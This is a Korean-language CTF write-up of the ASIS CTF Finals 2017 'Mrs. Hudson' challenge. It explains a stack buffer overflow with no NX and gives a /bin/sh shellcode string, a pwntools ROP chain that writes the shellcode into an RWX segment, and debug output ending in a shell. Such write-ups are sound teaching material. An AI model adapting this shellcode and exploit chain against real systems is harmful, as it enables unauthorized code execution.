- 간단한 BoF
- No NX
- Inject한 shellcode 로 jump 시킬 주소를 어떻게 고정시킬 수 있을까 ?
A. Write-up
CTFtime.org / ASIS CTF Finals 2017 / Mrs. Hudson
B. Basic info
1. Code
코드는 간단한 BoF.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+10h] [rbp-70h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Let's go back to 2000.");
return __isoc99_scanf("%s", &v4);
}
2. Checksec
Threat mitigation 적용이 되어 있지 않으므로 shellcode injeciton 가능.
gef) checksec
[+] checksec for '/media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : Partial
PLT 함수가 너무 적다. 특히 read()
, write()
도 없다.
Address Ordinal Name Library
0000000000601068 puts
0000000000601070 __libc_start_main
0000000000601078 setvbuf
0000000000601080 __isoc99_scanf
0000000000601088 __gmon_start__
3. BoF
BoF 는 120 byte 에서 터짐.
4. shellcode
Minimal x86-64 shellcode for /bin/sh? · System Overlord
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
C. Problem
간단한 BoF 이나 어려운 점은 injected shellcode 로 jump 시킬 주소를 어떻게 fix 할 수 있는냐 이다.
0x00007ffddeb19498
0x00007ffddeb19498│+0x00: 0x4242424241414141 ← $rsp
0x00007ffddeb194a0│+0x08: 0x9090909090909090
0x00007ffddeb194a8│+0x10: 0x9090909090909090
0x400680 <main+102> call 0x400520 <__isoc99_scanf@plt>
0x400685 <main+107> leave
→ 0x400686 <main+108> ret
0x00007ffc94ec0338
0x00007ffc94ec0338│+0x00: 0x4242424241414141 ← $rsp
0x00007ffc94ec0340│+0x08: 0x9090909090909090
0x00007ffc94ec0348│+0x10: 0x9090909090909090
0x400680 <main+102> call 0x400520 <__isoc99_scanf@plt>
0x400685 <main+107> leave
→ 0x400686 <main+108> ret
ALSR 이 걸린 상태에서 inject 한 shellcode 실행 시에 위치 변화 없이 shellcode 에 떨어뜨리기 위한 jump 주소는 어떻게 ???
- Nop slide :
NOP
잘 깔아두고, jump ? - shellcode 를 정해진 위치에 올려놓을 수는 없을까 ???
D. Solve
1. Nop slide : NOP
잘 깔아두고, jump
ASLR로 stack 위치가 엄청하게 변하는데 nop slide 로 커버할 수 있을까 ??? 어려울 듯….
2. shellcode 를 ROP 로 정해진 위치에 올려놓기
scanf("%s", @RWX_AREA)
- jump and execute
@RWX_AREA
PLT에 scanf()
있으므로 RWX 영역에 ROP로 shellcode 올려놓은 다음에 fixed 위치인 RWX 영역으로 jump 하기.
RWX_AREA
: GOT
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-x /media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson
0x0000000000601000 0x0000000000602000 0x0000000000001000 rwx /media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson
pwndbg 에서 PLT/GOT 주소 참조.
pwndbg> plt
0x400500: puts@plt
0x400510: setvbuf@plt
0x400520: __isoc99_scanf@plt
pwndbg> got
[*] '/media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
GOT protection: No RELRO | GOT functions: 3
[000000601018] puts@GLIBC_2.2.5 -> 0x400506 (puts@plt+6) ◂— push 0 /* 'h' */
[000000601020] setvbuf@GLIBC_2.2.5 -> 0x400516 (setvbuf@plt+6) ◂— push 1
[000000601028] __isoc99_scanf@GLIBC_2.7 -> 0x400526 (__isoc99_scanf@plt+6) ◂— push 2
0x0000000000601000
부터 GOT 영역이지만 현재 함수에서 사용하는 GOT table 뒤에 write 해야할 듯.
Exploit
""" Variable
"""
pop_rdi = 0x004006f3 # pop rdi; ret
pop_rsi_r15 = 0x00000000004006f1 # pop rsi; pop r15; ret
scanf_plt = 0x00400526 # scanf@PLT
scanf_string = 0x0040072b # %s
bin_x = 0x0000000000601090 # rwx segment
""" Here we go.
"""
log.info("[*] ASIS CTF 2017: mrs_hudson exploit.")
#Let's go back to 2000.
print conn.recvline()
""" ROP
"""
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
# Scanf("%s", @RWX_AREA)
# rdi rsi
rop = p64(pop_rdi) + p64(scanf_string)
rop += p64(pop_rsi_r15) + p64(bin_x) + p64(0xdeadbeef)
rop += p64(scanf_plt)
rop += p64(bin_x)
conn.sendline("A"*120 + rop)
conn.sendline(shellcode)
Full exploit
awesome-ctf-wargame/solv.py at master · 2O2L2H/awesome-ctf-wargame
Execution
$ python solv.py
[+] Starting local process './mrs._hudson': pid 6876
[*] running in new terminal: /usr/bin/gdb -q "/media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson" 6876
[+] Waiting for debugger: Done
[*] '/media/psf/Home/_2O2L2H/github/awesome-ctf-wargame/ctf/2017/asis/pwnable/mrs_hudson/mrs._hudson'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] [*] ASIS CTF 2017: mrs_hudson exploit.
[DEBUG] Received 0x17 bytes:
"Lets go back to 2000.\n"
Let's go back to 2000.
[DEBUG] Sent 0xb1 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000070 41 41 41 41 41 41 41 41 f3 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000080 2b 07 40 00 00 00 00 00 f1 06 40 00 00 00 00 00 │+·@·│····│··@·│····│
00000090 90 10 60 00 00 00 00 00 ef be ad de 00 00 00 00 │··`·│····│····│····│
000000a0 26 05 40 00 00 00 00 00 90 10 60 00 00 00 00 00 │&·@·│····│··`·│····│
000000b0 0a │·│
000000b1
[DEBUG] Sent 0x1a bytes:
00000000 48 bb d1 9d 96 91 d0 8c 97 ff 48 f7 db 53 31 c0 │H···│····│··H·│·S1·│
00000010 99 31 f6 54 5f b0 3b 0f 05 0a │·1·T│_·;·│··│
0000001a
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x84 bytes:
'uid=1000(tkhwang) gid=1000(tkhwang) groups=1000(tkhwang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare)\n'
uid=1000(tkhwang) gid=1000(tkhwang) groups=1000(tkhwang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare)